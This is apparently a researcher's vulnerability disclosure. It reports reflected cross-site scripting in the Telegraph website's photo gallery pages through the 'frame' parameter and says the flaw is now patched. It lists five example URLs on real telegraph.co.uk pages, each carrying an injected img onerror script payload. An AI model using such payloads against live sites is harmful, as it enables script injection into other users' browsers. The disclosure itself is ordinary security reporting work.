TeleGraph All Photo (Picture) Pages Have Been Vulnerable to XSS Cyber Attacks
“The Daily Telegraph is a British daily morning English-language broadsheet newspaper, published in London by Telegraph Media Group and distributed throughout the United Kingdom and internationally. The newspaper was founded by Arthur B. Sleigh in June 1855 as The Daily Telegraph and Courier, and since 2004 has been owned by David and Frederick Barclay. It had a daily circulation of 523,048 in March 2014, down from 552,065 in early 2013. In comparison, The Times had an average daily circulation of 400,060, down to 394,448. The Daily Telegraph has a sister paper, The Sunday Telegraph, that was started in 1961, which had circulation of 418,670 as of March 2014. The two printed papers currently are run separately with different editorial staff, but there is cross-usage of stories. News articles published in either, plus online Telegraph articles, may also be published on the Telegraph Media Group’s www.telegraph.co.uk website, all under The Telegraph title.” (From Wikipedia)
(1) Vulnerability Description:
Telegraph has a Web security bug problem. It is vulnerable to XSS attacks. In fact, all its photo pages are vulnerable to XSS (Cross-Site Scripting) vulnerabilities. Telegraph’s picture pages use “&frame” as its parameter. All its web pages use “&frame” are vulnerable to the bugs. Those vulnerabilities have been patched now.
Examples of Vulnerable Links:
http://www.telegraph.co.uk/culture/culturepicturegalleries/10663967/The-worlds-most-spectacular-theatres.html?frame=2836095″><img src=x onerror=prompt(‘justqdjing’)>
http://www.telegraph.co.uk/property/investmentinproperty/10609314/For-sale-top-20-properties-ripe-for-investment.html?frame=2808162″><img src=x onerror=prompt(‘justqdjing’)>
http://www.telegraph.co.uk/foodanddrink/foodanddrinkpicturegalleries/9737226/Elephant-dung-coffee-Black-Ivory-beans-passed-through-the-animals-guts.html?frame=2424280″><img src=x onerror=prompt(‘justqdjing’)>
http://www.telegraph.co.uk/education/9487434/Graduate-jobs-Best-languages-to-study.html?frame=2314790″><img src=x onerror=prompt(‘justqdjing’)>
http://www.telegraph.co.uk/motoring/picturegalleries/10782171/The-20-best-cars-to-own-in-2014.html?frame=2890278″><img src=x onerror=prompt(‘justqdjing’)>
The vulnerability can be attacked without user login. Tests were performed on Firefox (37.02) in Ubuntu (14.04) and IE (8.0. 7601) in Windows 7. The bugs found by using CSXDS.
The description of XSS is: “Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.” (OWSAP)
(3) Vulnerability Disclosure:
Those vulnerabilities are patched now.
Discoved and Disclosured By:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)